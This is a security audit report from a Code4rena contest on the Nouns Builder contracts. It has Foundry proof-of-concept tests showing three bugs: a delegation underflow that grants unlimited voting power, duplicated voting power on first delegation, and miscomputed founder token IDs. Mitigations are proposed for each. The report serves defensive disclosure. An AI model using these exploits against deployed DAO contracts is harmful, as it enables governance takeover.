Nouns Builder contest - MEP's results

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L189 https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L216

Vulnerability details

When someone delegates its voting power, the current balance is used as reference to increment or decrement the voting power the users involved, instead of the voting power actually delegated. So if someone obtains a token after delegating its voting power, and then changes the person they delegate to, the user that had the delegation before will see its voting power decreased by more than the amount he received before. Because everything is in an unchecked block, an underflow can occur. So one can obtain an infinite voting power.

Proof of Concept

The error occurs in the contract ERC721Votes, a contract Token inherits from. To simplify the test that presents the behaviour, we created a simple contract MyToken that inherits from ERC721Votes. The behaviour about the delegation and the transfer will be exactly the same.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import "forge-std/console.sol";
import { NounsBuilderTest } from "./utils/NounsBuilderTest.sol";
import { ERC721Votes } from "../src/lib/token/ERC721Votes.sol";


contract MyToken is ERC721Votes {
    function mint(address _to, uint256 _tokenId) external {
        _mint(_to, _tokenId);
    }
}

contract TestMEP_H2 is NounsBuilderTest {

    function testMEP_H2() public {
        MyToken token = new MyToken();

        address alice = address(0x0a);
        address bob = address(0x0b);
        address carol = address(0x0c);

        // to fix the bug about the first delegation
        vm.prank(alice);
        token.delegate(alice);
        vm.prank(bob);
        token.delegate(bob);
        vm.prank(carol);
        token.delegate(carol);


        token.mint(alice, 1);
        token.mint(carol, 2);


        vm.prank(alice);
        token.delegate(bob);

        vm.prank(carol);
        token.transferFrom(carol, alice, 2);

        vm.prank(alice);
        token.delegate(alice);

        console.log("Bob's voting power:");
        console.logUint(token.getVotes(bob));
    }
}

In the scenario, Alice and Carol both have 1 token. If Alice delegates to Bob (that has 0 token), then Carol transfers her token to Alice, and then Alice delegates to herself (she denies the delegate to bob), the function _moveDelegateVotes will be called with _amount set to 2 (the current Alice's current balance in token). But Bob only has a voting power of 1 (that has been delegated to him by Alice at the begining). The decrement will thus cause an underflow because it is in an unchecked block, and Bob will have an infinite voting power. Even if it was not in an unchecked block, Alice would be able to remove more voting power to Bob that she should be able to.

Recommended Mitigation Steps

Resetting the delegations when a token is minted of transfered to someone is a simple solution. A much more complicated code is necessary if the delegation should not be resetted (like keeping track of all the users someone received a delegation from).

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L181 https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L203

Vulnerability details

When a person delegates its voting power to another person, the receiver's voting power is incremented, but the voting power of the person that delegated its token is not decremented. So one can duplicate it's voting power.

Proof of Concept

The error occurs in the contract ERC721Votes, a contract Token inherits from. To simplify the test that presents the behaviour, we created a simple contract MyToken that inherits from ERC721Votes. The behaviour about the delgation will be exactly the same.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import "forge-std/console.sol";
import { NounsBuilderTest } from "./utils/NounsBuilderTest.sol";
import { ERC721Votes } from "../src/lib/token/ERC721Votes.sol";


contract MyToken is ERC721Votes {
    function mint(address _to, uint256 _tokenId) external {
        _mint(_to, _tokenId);
    }
}

contract TestMEP_H1 is NounsBuilderTest {

    function testMEP_H1() public {
        MyToken token = new MyToken();

        address alice = address(0x0a);
        address bob = address(0x0b);

        token.mint(alice, 1);

        vm.prank(alice);
        token.delegate(bob);

        console.log("Alice's voting power:");
        console.logUint(token.getVotes(alice));
        console.log("Bob's voting power:");
        console.logUint(token.getVotes(bob));
    }
}

If ther token 1 is minted to Alice, and she transfers this token to Bob, they will both have a voting power of 1. In fact, the function _moveDelegateVotes is called with _from set to address(0) (because there was no previous delegation), so the block that decrements the voting power is not called, and Alice keeps 1 of voting power.

In fact, it is slightly different because it is the contract Auction that mints the tokens for itself, and then sends them to the minter. So the contract itself will keep the voting power. But, in the case of founders, it is minted to them direct. So they can use this bug to duplicate their voting power.

Recommended Mitigation Steps

A simple trick could be to set delegation[user] = user when a token is minted to user. It works fine, but I'm not sure if resetting the delegation of an user at each token minted is a behaviour that the devs would want.

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/token/Token.sol#L118

Vulnerability details

Because the IDs of the founders tokens are wrongly computed, some of them can have an id higher than 100 and then be never minted.

Proof of Concept

If a founder has percetage of pct, then pct IDs between 0 and 99 should be given to him in the mapping tokenRecipient, such that if a token is minted with tokenId % 100 equal to one of its IDs, it is minted directly to him. But the modulo is not correctly done at when the mapping is filled, so some IDs of a founder can be higher than 100.

It happens for example if Alcie has 10% and Bob gas 11%. For Alice, schedule is equal to 10, so Alices will have the ids 0, 10, 20, ..., 90. But for Bob, schedule is also equal to 9. So it will have the ids 1, 11, 21, ..., 91, 100. Indeed, Bob can't have the ID 0 because it belongs to Alice, same for the ID 10 etc. The last eleventh ID that is given to Bob is 100, that can't be reached.

This happens for example when with two founders the percentages verify (100 / pct1) - (100 / pct2) == 1. So (11%, 12%) or (25%, 33%) will behave samely (with more token lost in some case).

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import { TokenTest } from "./Token.t.sol";

contract TestMEP_M1 is TokenTest {

    function setUpMEP() internal returns (address alice, address bob, uint256 totalOwnership) {
        address[] memory wallets = new address[](2);
        uint256[] memory percents = new uint256[](2);
        uint256[] memory vestExpiries = new uint256[](2);

        wallets[0] = alice = address(0x0a);
        wallets[1] = bob = address(0x0b);

        percents[0] = 10;
        percents[1] = 11;
        totalOwnership = percents[0] + percents[1];

        vestExpiries[0] = type(uint256).max;
        vestExpiries[1] = type(uint256).max;

        deployWithCustomFounders(wallets, percents, vestExpiries);
    }

    // Verifies it on the 100 first tokens
    function testMEP_M1_1() public {

        (address alice, address bob, uint256 totalOwnership) = setUpMEP();

        // Should mint the 100 first tokens
        // Alice should receive 10 tokens
        // Bob should receive 11 tokens
        for (uint256 i; i < 100 - totalOwnership; ++i) {
            vm.prank(address(auction));
            token.mint();
        }

        assertEq(token.balanceOf(alice), 10, "Alice's balance is wrong");
        assertEq(token.balanceOf(bob), 11, "Bob's balance is wrong");
    }

    // Verifies it with the law of large numbers
    function testMEP_M1_2() public {

        (address alice, address bob, ) = setUpMEP();

        uint256 tokensToMint = 123456; // enough large to apply the law of large numbers
        for (uint256 i; i < tokensToMint; ++i) {
            vm.prank(address(auction));
            token.mint();
        }

        uint256 totalSupply = token.totalSupply();
        assertEq(token.balanceOf(alice) * 100 / totalSupply, 10, "Alice's percentage is wrong");
        assertEq(token.balanceOf(bob) * 100 / totalSupply, 11, "Bob's percentage is wrong");
    }
}

Recommended Mitigation Steps

Replace the line 118 of Token.sol by baseTokenId = (baseTokenId + schedule) % 100;.

• In Manager.sol L116-117, revert condition does not correspond to the comment and to the error name. Indeed, it reverts with the error name FOUNDER_REQUIRED only if the first founder has the null address. If there is no founder provided, it will revert (because we try to access _founderParams[0]) but without revert message designed for.